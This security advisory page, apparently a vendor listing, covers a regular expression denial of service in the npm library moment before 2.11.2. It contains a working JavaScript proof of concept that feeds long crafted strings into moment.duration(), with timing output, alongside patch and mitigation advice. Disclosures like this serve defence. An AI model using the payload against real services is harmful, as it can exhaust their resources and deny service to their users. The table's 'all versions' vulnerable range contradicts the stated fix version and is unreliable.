GHSA-87vv-r9j6-g5qv
MEDIUMGHSA-87vv-r9j6-g5qv is a medium-severity (CVSS 6.5) Uncontrolled Resource Consumption vulnerability in moment. 1 public exploit reference exists, so weaponization risk is real. O3 Security confirms whether GHSA-87vv-r9j6-g5qv is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Regular Expression Denial of Service in moment
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
momentnpmDescription
Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().
Proof of concept
var moment = require('moment');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
for (i=20000;i<=10000000;i=i+10000) {
console.log("COUNT: " + i);
var str = '-' + genstr(i, '1')
console.log("LENGTH: " + str.length);
var start = process.hrtime();
moment.duration(str)
var end = process.hrtime(start);
console.log(end);
}
Results
$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]
Recommendation
Please update to version 2.11.2 or later.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | moment | all versions | 2.11.2 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for moment. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update moment to 2.11.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-87vv-r9j6-g5qv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-87vv-r9j6-g5qv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-87vv-r9j6-g5qv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-87vv-r9j6-g5qv in your dependencies?
O3 detects GHSA-87vv-r9j6-g5qv across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.